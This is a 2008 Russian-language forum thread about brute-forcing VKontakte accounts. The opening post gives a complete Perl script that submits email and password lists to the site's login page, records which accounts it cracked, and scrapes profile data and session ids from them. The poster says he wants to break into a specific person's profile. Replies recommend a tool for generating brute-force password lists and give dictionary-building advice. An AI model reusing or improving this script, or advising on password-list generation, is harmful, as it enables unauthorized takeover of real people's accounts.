Bruteforce на perl
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Bruteforce на perl - 2008-09-08 17:08:46.516666
|
|
|
Viper[o_O]k
Сообщений: 163
Оценки: 0
Присоединился: 2008-08-16 09:31:45.666666
|
Вот скрипт давно всем известный. Для брута Вконтакте.
#! /usr/bin/perl -w
use strict;
use HTTP::Request::Common;
use LWP::UserAgent;
use HTTP::Cookies;
#Список email
my $ml = 'emails.txt';
#Сбрученные аккаунты
my $fname = 'good.txt';
#Несбрученные аккаунты
my $fname1 = 'bad.txt';
#список паролей
my $psw = 'pass.txt';
my $control = '-1';
my %example;
my (@data, @data1);
printf "Starting...\n";
sub submit_query {
my ($file, %query) = @_;
my $user_agent = LWP::UserAgent->new();
my $cookies = HTTP::Cookies->new;
my $cookie_jar = HTTP::Cookies->new(
file => 'cookies.dat',
autosave => 1, );
$user_agent->cookie_jar($cookie_jar);
################################################################
$user_agent->agent("User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.8;" . $user_agent->agent);
################################################################
my $request = POST
$file,
[%query];
################################################################
my $response = $user_agent->request($request);
my $res = $response->as_string;
################################################################
if($res =~/<div id='error'>/ )
{
print FILE1 "[!]Wrong password: ";
$control = '0';
}
else
{
my $req = HTTP::Request->new(GET => "http://vkontakte.ru/profile.php");
my $response2 = $user_agent->request($req);
my $res2 = $response2->as_string;
if($res2 =~/id="percent">(.*)%</)
{
print FILE "[rate=$1]";
}
if($res2 =~/percentGold">(.*)</)
{
print FILE "[gold_rate=$1]";
}
$req = HTTP::Request->new(GET => "http://vkontakte.ru/settings.php");
$response2 = $user_agent->request($req);
$res2 = $response2->as_string;
if($res2 =~/контакте: <b>(.*)</) {print FILE "[id=$1]";}
if($res2 =~/"idr" value="(.*)"/) {print FILE "[sid=$1]";}
$control = '1';
}
}
open(DAT, $ml) || die("Could not open emails file!");
@data=<DAT>;
close(DAT);
open(DAT1, $psw) || die("Could not open passwords file!");
@data1=<DAT1>;
close(DAT1);
my $time = time;
my $start = localtime;
printf "Vkontakte brutforoce\n";
printf "Started at $start\n";
foreach my $mail (@data)
{
chomp($mail);
foreach my $password (@data1)
{
chomp($password);
%example = (success_url => '', fail_url => '', try_to_login => '1', email => $mail, pass => $password);
open(FILE, ">>$fname") || die("Could not open $fname\n");
open(FILE1, ">>$fname1") || die("Could not open $fname1\n");
submit_query("http://vkontakte.ru/login.php", %example);
if ($control == '1')
{
print FILE "$mail : $password\n";
}
else
{
print FILE1 "$mail : $password\n";
}
close FILE;
close FILE1;
}
}
$time = time-$time;
my $end = localtime;
printf "Completed at $end\n";
printf "Time Elapsed: $time sec\n";
Вопрос к тем кто знает перл. Возможно ли как-то изменить скрипт, чтобы подбор пароля был не по пассворд листу ? Заранее спасибо
|
|
|
RE: Bruteforce на perl - 2008-09-08 17:42:58.206666
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
quote:
не по пассворд листу а по чему?
|
|
|
RE: Bruteforce на perl - 2008-09-08 17:51:08.066666
|
|
|
Viper[o_O]k
Сообщений: 163
Оценки: 0
Присоединился: 2008-08-16 09:31:45.666666
|
quote:
а по чему? Чтобы скрипт сам подставлял буквы, символы и т.д. А то есть такие пароли которых нет в пасворд листах… :(
|
|
|
RE: Bruteforce на perl - 2008-09-08 17:55:15.430000
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
так сделай словарь с тем что тебе надо или ты хочеш чтобы скрипт сам генерировал слова????
|
|
|
RE: Bruteforce на perl - 2008-09-08 18:02:53.070000
|
|
|
Viper[o_O]k
Сообщений: 163
Оценки: 0
Присоединился: 2008-08-16 09:31:45.666666
|
quote:
ORIGINAL: FriLL или ты хочеш чтобы скрипт сам генерировал слова???? Да! Только я не знаю как это можно реализовать :(
|
|
|
RE: Bruteforce на perl - 2008-09-08 18:07:23.150000
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
обьем будет огромен
|
|
|
RE: Bruteforce на perl - 2008-09-08 18:13:48.483333
|
|
|
Viper[o_O]k
Сообщений: 163
Оценки: 0
Присоединился: 2008-08-16 09:31:45.666666
|
Ну если кто знает помогите пожалуйста.
|
|
|
RE: Bruteforce на perl - 2008-09-08 18:41:31.150000
|
|
|
CooLDoG
Сообщений: 88
Оценки: 0
Присоединился: 2008-09-05 02:42:57.086666
|
Забей, это очень долго будет! тебе легче не эксплоит переделывать, а самому сделать словарь, от а до я…
|
|
|
RE: Bruteforce на perl - 2008-09-08 18:47:03.700000
|
|
|
Viper[o_O]k
Сообщений: 163
Оценки: 0
Присоединился: 2008-08-16 09:31:45.666666
|
quote:
ORIGINAL: CooLDoG Забей, это очень долго будет! тебе легче не эксплоит переделывать, а самому сделать словарь, от а до я… А свой словарь от а до я быстро чтоли пишется ? Мне нужно взломать анкету, но там пароль должен быть наподобе stasya, leno4ka. Ни в каком пассворд листе нет таких слов :(
|
|
|
RE: Bruteforce на perl - 2008-09-08 21:30:12.010000
|
|
|
CooLDoG
Сообщений: 88
Оценки: 0
Присоединился: 2008-09-05 02:42:57.086666
|
quote:
ORIGINAL: aSich quote:
ORIGINAL: CooLDoG Забей, это очень долго будет! тебе легче не эксплоит переделывать, а самому сделать словарь, от а до я… А свой словарь от а до я быстро чтоли пишется ? Мне нужно взломать анкету, но там пароль должен быть наподобе stasya, leno4ka. Ни в каком пассворд листе нет таких слов :( Да что ты заладил все тебе переделать или писать руками, зачем? если есть проги которые будут делать все за тебя! берешь к примеру прогу passwordPro заходишь в генерацию брут листов и генерируешь себе на здаровсь какой хочешь, главное что бы тебе места на винте хватило:D Ты никогда не задумывался, почему все брутят через словарь? я тебе овечу: Скорость перебора очень маленькая и на то что бы брутить как ты хочешь грубым переборам тебе понадобиться очень много лет, даже если у тебя инет супер пупер скоростной! Забей ты на это и юзай словари, почитай про них в инете, как их лучше сделать и как лучше использовать.
|
|
|
|
|